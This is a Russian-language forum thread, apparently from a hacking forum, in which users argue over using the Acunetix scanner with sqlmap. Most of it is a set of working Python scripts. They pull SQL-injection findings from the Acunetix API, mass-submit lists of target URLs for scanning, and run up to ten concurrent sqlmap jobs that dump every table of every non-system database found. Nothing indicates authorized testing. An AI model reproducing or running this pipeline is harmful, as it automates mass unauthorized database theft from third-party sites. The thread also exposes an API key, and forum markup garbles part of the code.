Мне именно под SQLMap то что подходит, в стандарте есть medium уязвимости, которые не подходят под раскрутку через SQLMap. Он их проверяет, тратя ресурсы лишние)
Устал)
В плане?)
Прогрев аккаунта?
Нет. Просто самостоятельное обучение - это от лукавого.
Скинь тему где об этом написано, в чем проблема? Я по поиску искал - ничего не нашел. Других форумов с тематикой подобной - у меня нет
Запустил я этот твой SQLmap, там шприцы, иголки, кровь. Иньекции какие-то. Оно тебе надо? Ну раз ты уверен что надо, какое право я имею тебя осуждать?
[*]Boolean-based blind
[*]Time-based blind
[*]Error-based
[*]Union-based
[*]Stacked queries
[*]Out-of-band
[*]Inline queriesЧто именно тебе скинуть? Ссылку на тему где обсужается что именно? Настройка профилей? Это информация есть в документации к Окуню на офф сайте. Эту информацию легко найти или просто даже запросить у любого ИИ чата. тут нечего обсуждать поэтому и нет такой темы на форуме. Ты просто такую глупую чушь тут городишь что я пол дня пытался подобрать слова как тебе обьяснить.
Вот это глупейшее что я когда либо слышал. sqlmap крутит любые sql векторы под кучу разных СУБД. Он не сработает только если: на таргете WAF мешает или ты неправильно его настроил что опять упирается в то что ты не изучал документацию к инструменту, зато ты создал с десяток тем на форуме с тупейшими вопросами. Сама претезию к тебе не из-за глупых вопросов, для новичка задавать глупые вопросы нормально, все мы когда-то их задавали и задаем спустя годы, претензия к тебе что ты не уважаешь нас и пачками печатаешь темы с поверхностными вопросами. Почему я потративший тонну времени на изучение должен помогать тебе когда я вижу что ты ленивая жопа нифига не приложил усилия а просто пришел и засрал форум своими темами. Тут вообще-то если что есть специальные темы где можно задавать такие вопросы, но ты же в них не пишешь, ты создаешь новую чтоб тебя заметили и ответили. Это банальное не уважение сообщества. Я не имею ни малейшего желания помогать таким лодырям как ты. Читать твою ахинею что Окунь находит какието странные уязвимости которые не крутятся в sqlmap это полный треш. Если бы ты изучил хотя бы основы ты понимал насколько глупо это звучит.
Вот прям с языка снял.
Ты не понял, что он имел в виду. ТС в Окуне после скана увидел, что Окунь ему нашел не только инъекции, а еще и незначительные уязвимости тип раскрытия путей.
{
"url": "https://localhost",
"port": 3443,
"api_key": "1986ad8c0a5b3df4d7028d5f3c06e936cb46751b777d34ad196a6078e04ef79f6"
}#!/usr/bin/env python3
import requests
import json
import sys
import os
# Disable SSL warnings
requests.packages.urllib3.disable_warnings()
# Load API configuration
try:
with open('config.json') as config_file:
config = json.load(config_file)
except FileNotFoundError:
print("[!] Error: config.json not found.")
sys.exit(1)
# API Setup
base_url = f"{config['url']}:{config['port']}/api/v1"
headers = {
"X-Auth": config['api_key'],
"Content-Type": "application/json"
}
SQLMAP_QUEUE_FILE = "output/sqlmap_queue.txt"
SQLMAP_REQUESTS_DIR = "output/requests"
# Ensure directories exist
os.makedirs(SQLMAP_REQUESTS_DIR, exist_ok=True)
# Function to retrieve SQL Injection vulnerabilities
def get_sql_injection_vulnerabilities():
vulnerabilities = []
next_cursor = None
while True:
endpoint = f"{base_url}/vulnerabilities?type=sql_injection"
if next_cursor:
endpoint += f"&cursor={next_cursor}"
try:
response = requests.get(endpoint, headers=headers, verify=False)
response.raise_for_status()
except requests.exceptions.RequestException as e:
print(f"[!] Failed to retrieve vulnerabilities: {e}")
break
data = response.json()
vulnerabilities.extend(data.get("vulnerabilities", []))
# Check if there's a next page
next_cursor = data.get("pagination", {}).get("next_cursor")
if not next_cursor:
break
return vulnerabilities
# Function to retrieve detailed information for a specific vulnerability
def get_vulnerability_details(vuln_id):
endpoint = f"{base_url}/vulnerabilities/{vuln_id}"
try:
response = requests.get(endpoint, headers=headers, verify=False)
response.raise_for_status()
return response.json()
except requests.exceptions.RequestException as e:
print(f"[!] Failed to retrieve details for vulnerability {vuln_id}: {e}")
return None
# Function to add SQLMap commands to queue
def queue_sqlmap_scan(url, param, payload, technique, request_file):
sqlmap_cmd = f"sqlmap -u \"{url}\""
if param and param != "N/A":
sqlmap_cmd += f" -p {param}"
if technique and technique != "N/A":
sqlmap_cmd += f" --technique={technique}"
if request_file:
sqlmap_cmd += f" -r {request_file}"
sqlmap_cmd += " --batch --risk=3 --level=5\n"
with open(SQLMAP_QUEUE_FILE, "a") as f:
f.write(sqlmap_cmd)
# Main function
if __name__ == "__main__":
print("[*] Retrieving SQL Injection vulnerabilities...")
sqli_vulnerabilities = get_sql_injection_vulnerabilities()
if sqli_vulnerabilities:
for vuln in sqli_vulnerabilities:
vuln_id = vuln.get("vuln_id")
details = get_vulnerability_details(vuln_id)
if not details:
continue
url = details.get("affects_url", "N/A")
param = details.get("parameter", "N/A")
payload = details.get("attack_details", "N/A")
technique = details.get("technique", "N/A")
request = details.get("request", "N/A")
# Save HTTP request to file for SQLMap
if request and request != "N/A":
request_file = f"{SQLMAP_REQUESTS_DIR}/{vuln_id}.txt"
with open(request_file, "w", encoding="utf-8") as f: # <-- ADD encoding="utf-8"
f.write(request)
# Queue SQLMap scan
queue_sqlmap_scan(url, param, payload, technique, request_file)
print(f"✅ {len(sqli_vulnerabilities)} SQL Injection vulnerabilities added to queue.")
else:
print("❌ No SQL Injection vulnerabilities found.")import subprocess
import time
import re
import threading
import os
import signal
import sys
from queue import Queue
SQLMAP_VULNERABLE_FILE = "output/sqlmap_vulnerable.txt"
SQLMAP_DUMPED_FILE = "output/sqlmap_dumped.txt"
SQLMAP_RESULTS_DIR = "output/sqlmap_results"
FULL_LOG_DUMP_FILE = "output/FULL-LOG-DUMP.txt"
MAX_CONCURRENT_DUMPS = 10 # Maximum concurrent SQLMap dumps
queue = Queue()
running_processes = []
stop_scanning = False
logged_dumps = set()
EXCLUDED_DATABASES = {
"information_schema", "performance_schema", "mysql", "sys",
"phpmyadmin", "test", "dbadmin", "pg_catalog", "sqlite_master",
"sqlite_temp_master", "postgres", "systemdb", "tempdb", "master",
"msdb", "ReportServer", "ReportServerTempDB", "model", "inforation_schema", "perforance_schema", "lysql"
}
# Ensure output directory exists
os.makedirs(SQLMAP_RESULTS_DIR, exist_ok=True)
# Handle CTRL + C (SIGINT) gracefully
def handle_exit(signum, frame):
global stop_scanning
if not stop_scanning:
print("\n[!] CTRL + C detected! Finishing active dumps, no new dumps will start.")
stop_scanning = True
else:
print("\n[!] CTRL + C pressed again! Forcefully terminating all remaining processes...")
for process in running_processes:
try:
process.terminate()
process.wait(timeout=3)
except Exception as e:
print(f"[ERROR] Failed to terminate process: {e}")
sys.exit(0)
signal.signal(signal.SIGINT, handle_exit)
# **CLEAN DATABASE NAME FUNCTION**
def clean_db_name(db_name):
""" Removes unwanted characters and returns a clean database name """
db_name = db_name.strip().replace("[*]", "").replace("-", "").replace("`", "").strip().lower()
return db_name if db_name and db_name not in EXCLUDED_DATABASES else None
# Monitor `sqlmap_vulnerable.txt` for new entries
def monitor_vulnerable_file():
print("[*] Monitoring sqlmap_vulnerable.txt for new database entries...")
seen_entries = set()
while True:
if os.path.exists(SQLMAP_VULNERABLE_FILE):
with open(SQLMAP_VULNERABLE_FILE, "r", encoding="utf-8") as f:
content = f.read()
matches = re.findall(r"SQLMap Command:\s*(.*?)\nExtracted Databases \(\d+ found\):\n(.*?)\n---+", content, re.DOTALL)
for sqlmap_cmd, db_section in matches:
db_names = [clean_db_name(db) for db in db_section.split("\n")]
db_names = [db for db in db_names if db] # Remove None values
for db in db_names:
unique_entry = f"{sqlmap_cmd} -D {db} --tables --columns --dump --batch"
if unique_entry not in seen_entries:
print(f"[NEW] Adding dump task for: {db}")
queue.put((sqlmap_cmd, db))
seen_entries.add(unique_entry)
time.sleep(5) # Check for updates every 5 seconds
# Function to continuously read `FULL-LOG-DUMP.txt` and detect completed dumps
def monitor_full_log():
print("[*] Monitoring FULL-LOG-DUMP.txt for completed dumps...")
seen_lines = set()
while True:
if os.path.exists(FULL_LOG_DUMP_FILE):
with open(FULL_LOG_DUMP_FILE, "r", encoding="utf-8") as f:
lines = f.readlines()
new_lines = [line.strip() for line in lines if line.strip() and line not in seen_lines]
seen_lines.update(new_lines)
# Detect completed database dumps
for i, line in enumerate(new_lines):
if "Database:" in line:
db_name = line.split("Database:")[-1].strip()
if db_name and db_name not in logged_dumps:
print(f"[SAVED] Dump completed: {db_name}")
with open(SQLMAP_DUMPED_FILE, "a", encoding="utf-8") as f:
f.write(f"{db_name}\n")
logged_dumps.add(db_name)
time.sleep(5) # Check every 5 seconds
# Function to run SQLMap for database dumps
def run_sqlmap():
while not queue.empty():
if stop_scanning:
print("[*] Stopping new dumps as requested by CTRL+C.")
break
sqlmap_cmd, db_name = queue.get()
full_cmd = f'{sqlmap_cmd} -D "{db_name}" --tables --columns --dump --batch'
print(f"\n[*] Running SQLMap Dump: {full_cmd}")
# Generate log filename
command_hash = str(abs(hash(full_cmd)))[:10]
log_file = os.path.join(SQLMAP_RESULTS_DIR, f"sqlmap_dump_{command_hash}.txt")
with open(log_file, "w", encoding="utf-8") as cmd_log, open(FULL_LOG_DUMP_FILE, "a", encoding="utf-8") as full_log:
full_log.write(f"\n[SQLMAP] Dumping Database: {db_name}\n")
process = subprocess.Popen(
full_cmd,
shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
text=True
)
running_processes.append(process)
# Capture live output
while True:
output = process.stdout.readline()
if not output and process.poll() is not None:
break
print(output.strip()) # Show real-time output
cmd_log.write(output)
full_log.write(output)
process.communicate()
running_processes.remove(process)
queue.task_done()
time.sleep(2)
if __name__ == "__main__":
# Start monitoring threads
monitor_thread_vuln = threading.Thread(target=monitor_vulnerable_file, daemon=True)
monitor_thread_log = threading.Thread(target=monitor_full_log, daemon=True)
monitor_thread_vuln.start()
monitor_thread_log.start()
print(f"[*] Waiting for database dump tasks...")
# Start dump worker threads
threads = []
for _ in range(MAX_CONCURRENT_DUMPS):
thread = threading.Thread(target=run_sqlmap)
thread.start()
threads.append(thread)
for thread in threads:
thread.join()
print("[*] All SQLMap dumps completed.")# Load API configuration
try:
with open('config.json') as config_file:
config = json.load(config_file)
except FileNotFoundError:
print("[!] Error: config.json not found.")
sys.exit(1)import requests
import json
import argparse
import validators
import sys
import concurrent.futures
requests.packages.urllib3.disable_warnings()
with open('config.json') as config_file:
config = json.load(config_file)
tarurl = config['url'] + ":" + str(config['port'])
headers = {
"X-Auth": config['api_key'],
"Content-Type": "application/json"
}
# Mapping user input to Acunetix scan speed settings
speed_mapping = {
1: "sequential",
2: "slow",
3: "moderate",
4: "fast"
}
def get_scan_profiles():
url = f"{tarurl}/api/v1/scanning_profiles"
try:
response = requests.get(url, headers=headers, timeout=250, verify=False)
response.raise_for_status()
profiles = response.json()
if isinstance(profiles, dict) and "scanning_profiles" in profiles:
profiles = profiles["scanning_profiles"]
if not isinstance(profiles, list):
print("[!] Unexpected API response format. Expected a list of profiles.")
return {}
return {profile['name']: profile['profile_id'] for profile in profiles}
except requests.exceptions.RequestException as e:
print(f"[!] Error fetching scan profiles: {e}")
return {}
except KeyError as e:
print(f"[!] Error parsing scan profiles: Missing key {e}")
return {}
def create_scan(target_url, scan_type, scan_speed):
scan_profiles = get_scan_profiles()
profile_id = scan_profiles.get(scan_type)
if not profile_id:
print(f"[!] Scan profile '{scan_type}' not found. Using 'Full Scan' profile as default.")
profile_id = scan_profiles.get('Full Scan')
def add_task(url=''):
data = {"address": url, "description": url, "criticality": "10"}
try:
response = requests.post(f"{tarurl}/api/v1/targets", data=json.dumps(data), headers=headers, timeout=250, verify=False)
response.raise_for_status()
result = response.json()
return result['target_id']
except requests.exceptions.RequestException as e:
print(f"[!] Error adding target: {e}")
return None
target_id = add_task(target_url)
if not target_id:
print("[!] Failed to create target. Aborting scan creation.")
return
scan_data = {
"target_id": target_id,
"profile_id": profile_id,
"schedule": {"disable": False, "start_date": None, "time_sensitive": False},
"scan_speed": scan_speed # Include scan speed in API request
}
try:
response = requests.post(f"{tarurl}/api/v1/scans", headers=headers, data=json.dumps(scan_data), verify=False)
response.raise_for_status()
print(f"[*] Scan launched for {target_url} using profile '{scan_type}' at '{scan_speed}' speed.")
except requests.exceptions.RequestException as e:
print(f"[!] Error launching scan: {e}")
def scan_targets_from_file(file_path, scan_type, scan_speed):
try:
with open(file_path) as f:
targets = [x.strip() for x in f.readlines()]
valid_targets = [target for target in targets if validators.url(target)]
if not valid_targets:
print("[!] No valid URLs found in the file.")
return
print(f"[*] Adding {len(valid_targets)} targets for scanning...")
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
futures = {executor.submit(create_scan, target, scan_type, scan_speed): target for target in valid_targets}
for future in concurrent.futures.as_completed(futures):
target = futures[future]
try:
future.result()
except Exception as e:
print(f"[!] Error scanning {target}: {e}")
except Exception as e:
print("[!] Error reading file:", str(e))
def stop_scan(scan_id):
url = f"{tarurl}/api/v1/scans/{scan_id}/abort"
response = requests.post(url, headers=headers, verify=False)
print("[-] Scan stopped with ID: " + scan_id)
def stop_specific_scan(target):
url = f"{tarurl}/api/v1/scans?q=status:processing;"
response = requests.get(url, headers=headers, verify=False)
scans = response.json()["scans"]
for scan in scans:
if target == scan["target"]["description"]:
stop_scan(scan["scan_id"])
def stop_all_scans():
page = 0
total_scans_stopped = 0
while True:
url = f"{tarurl}/api/v1/scans?page={page}"
response = requests.get(url, headers=headers, verify=False)
try:
response_json = response.json()
if "scans" not in response_json or not response_json["scans"]:
print("[!] No scans found on this page.")
break
scans = response_json["scans"]
for scan in scans:
scan_id = scan["scan_id"]
scan_status = scan["current_session"]["status"]
if scan_status in ["processing", "queued"]:
stop_scan(scan_id)
total_scans_stopped += 1
page += 1
except requests.exceptions.RequestException as e:
print(f"[!] Network error: {e}")
break
except json.JSONDecodeError:
print("[!] Error parsing API response (Invalid JSON).")
break
except Exception as e:
print(f"[!] Unexpected error: {e}")
break
print(f"[+] Total scans stopped: {total_scans_stopped}")
if [B]name[/B] == "[B]main[/B]":
banner = """
\t\t__ _ ___
\t\t [B]__ ______[/B] ______ [B]_ / /[I]([/I]) __ ___[/B]/ (_)
\t\t / __ `/ [B][I]/ / / / _[/I] \/ _ \/ [B]/ / |/[I]/[/I][/B][/B]/ ___/ / /
\t\t/ /[I]/ / /_[/I]/ /[I]/ / / / / _[/I]/ /[I]/ /> </____[/I]/ /__/ / /
\t\t\[B],[I]/\[/I][/B]/\[B],[I]/[/I]/ /[I]/\[/I][/B]/\[B]/[I]/|[/I]| \_[/B]/[I]/[/I]/
\t\t
"""
print(banner)
parser = argparse.ArgumentParser(description="Launch or stop a scan using Acunetix API")
subparsers = parser.add_subparsers(dest="action", help="Action to perform")
# SCAN Command
start_parser = subparsers.add_parser("scan", help="Launch a scan use scan -h")
start_parser.add_argument("-p", "--pipe", action='store_true', help='Read from pipe')
start_parser.add_argument("-d", "--domain", help="Domain to scan")
start_parser.add_argument("-f", "--file", help="File containing list of URLs to scan")
start_parser.add_argument("-t", "--type", help="Specify scan profile name", default="Full Scan")
start_parser.add_argument("-speed", type=int, choices=[1, 2, 3, 4], help="Scan speed: 1=Sequential, 2=Slow, 3=Moderate, 4=Fast", default=3)
# STOP Command
stop_parser = subparsers.add_parser("stop", help="Stop a scan")
stop_parser.add_argument("-d", "--domain", help="Domain of the scan to stop")
stop_parser.add_argument("-a", "--all", action='store_true', help="Stop all Running Scans")
# Parse Arguments
args = parser.parse_args()
# Check for Scan Action
if args.action == "scan":
scan_speed = {1: "sequential", 2: "slow", 3: "moderate", 4: "fast"}.get(args.speed, "moderate")
if args.domain:
if validators.url(args.domain):
create_scan(args.domain, args.type, scan_speed)
else:
print("[!] Invalid URL: " + args.domain)
elif args.file:
scan_targets_from_file(args.file, args.type, scan_speed)
# Check for Stop Action
elif args.action == "stop":
if args.domain:
stop_specific_scan(args.domain)
elif args.all:
stop_all_scans()
[/CODE ]